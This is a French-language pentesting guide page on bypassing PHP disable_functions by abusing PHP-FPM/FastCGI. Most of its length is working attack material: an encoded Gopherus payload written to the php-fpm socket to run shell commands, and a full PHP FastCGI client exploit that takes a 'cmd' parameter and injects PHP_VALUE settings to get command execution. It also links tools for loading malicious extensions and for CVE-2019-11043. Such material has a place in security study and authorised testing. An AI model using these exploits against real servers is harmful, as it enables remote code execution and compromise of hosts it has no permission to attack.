disable_functions bypass - php-fpm/FastCGI

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PHP-FPM

PHP-FPM est présenté comme une alternative supérieure à la standard PHP FastCGI, offrant des fonctionnalités particulièrement bénéfiques pour les sites web à fort trafic. Il fonctionne à travers un processus maître qui supervise un ensemble de processus de travail. Pour une demande de script PHP, c'est le serveur web qui initie une connexion proxy FastCGI au service PHP-FPM. Ce service a la capacité de recevoir des demandes soit via des ports réseau sur le serveur, soit via des sockets Unix.

Malgré le rôle intermédiaire de la connexion proxy, PHP-FPM doit être opérationnel sur la même machine que le serveur web. La connexion qu'il utilise, bien que basée sur un proxy, diffère des connexions proxy conventionnelles. Lorsqu'une demande est reçue, un travailleur disponible de PHP-FPM la traite—exécutant le script PHP et renvoyant ensuite les résultats au serveur web. Après qu'un travailleur ait terminé le traitement d'une demande, il redevient disponible pour les demandes à venir.

Mais qu'est-ce que CGI et FastCGI ?

CGI

Normalement, les pages web, les fichiers et tous les documents qui sont transférés du serveur web au navigateur sont stockés dans un répertoire public spécifique tel que home/user/public_html. Lorsque le navigateur demande un certain contenu, le serveur vérifie ce répertoire et envoie le fichier requis au navigateur.

Si CGI est installé sur le serveur, le répertoire cgi-bin spécifique est également ajouté, par exemple home/user/public_html/cgi-bin. Les scripts CGI sont stockés dans ce répertoire. Chaque fichier dans le répertoire est traité comme un programme exécutable. Lors de l'accès à un script depuis le répertoire, le serveur envoie une demande à l'application responsable de ce script, au lieu d'envoyer le contenu du fichier au navigateur. Après le traitement des données d'entrée, l'application envoie les données de sortie au serveur web qui les transfère au client HTTP.

Par exemple, lorsque le script CGI http://mysitename.com/cgi-bin/file.pl est accédé, le serveur exécutera l'application Perl appropriée via CGI. Les données générées par l'exécution du script seront envoyées par l'application au serveur web. Le serveur, quant à lui, transférera les données au navigateur. Si le serveur n'avait pas CGI, le navigateur aurait affiché le code du fichier .pl lui-même. (explication de ici)

FastCGI

FastCGI est une technologie web plus récente, une version améliorée de CGI car la fonctionnalité principale reste la même.

Le besoin de développer FastCGI est né du développement rapide et de la complexité des applications, ainsi que pour répondre aux lacunes de scalabilité de la technologie CGI. Pour répondre à ces exigences, Open Market a introduit FastCGI – une version haute performance de la technologie CGI avec des capacités améliorées.

disable_functions bypass

Il est possible d'exécuter du code PHP en abusant de FastCGI et en évitant les limitations de disable_functions.

Via Gopherus

En utilisant Gopherus, vous pouvez générer une charge utile à envoyer au listener FastCGI et exécuter des commandes arbitraires :

Ensuite, vous pouvez récupérer la charge utile urlencoded et la décoder et la transformer en base64, [en utilisant cette recette de cyberchef par exemple](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). Et ensuite, copiez/coller le base64 dans ce code php :

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Télécharger et accéder à ce script, l'exploit va être envoyé à FastCGI (désactivation de disable_functions) et les commandes spécifiées vont être exécutées.

Exploit PHP

Code de ici.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

En utilisant la fonction précédente, vous verrez que la fonction system est toujours désactivée mais phpinfo() montre un disable_functions vide :

Donc, je pense que vous ne pouvez définir disable_functions que via des fichiers de configuration php .ini et que le PHP_VALUE ne remplacera pas ce paramètre.

FuckFastGCI

C'est un script php pour exploiter le protocole fastcgi afin de contourner open_basedir et disable_functions.
Il vous aidera à contourner des disable_functions stricts pour RCE en chargeant l'extension malveillante.
Vous pouvez y accéder ici : https://github.com/w181496/FuckFastcgi ou une version légèrement modifiée et améliorée ici : https://github.com/BorelEnzo/FuckFastcgi

Vous constaterez que l'exploit est très similaire au code précédent, mais au lieu d'essayer de contourner disable_functions en utilisant PHP_VALUE, il essaie de charger un module PHP externe pour exécuter du code en utilisant les paramètres extension_dir et extension à l'intérieur de la variable PHP_ADMIN_VALUE.
NOTE1 : Vous aurez probablement besoin de recompiler l'extension avec la même version de PHP que celle utilisée par le serveur (vous pouvez le vérifier dans la sortie de phpinfo) :

Vulnérabilité d'exécution de code à distance PHP-FPM (CVE-2019–11043)

Vous pouvez exploiter cette vulnérabilité avec phuip-fpizdam et la tester en utilisant cet environnement docker : https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
Vous pouvez également trouver une analyse de la vulnérabilité ici.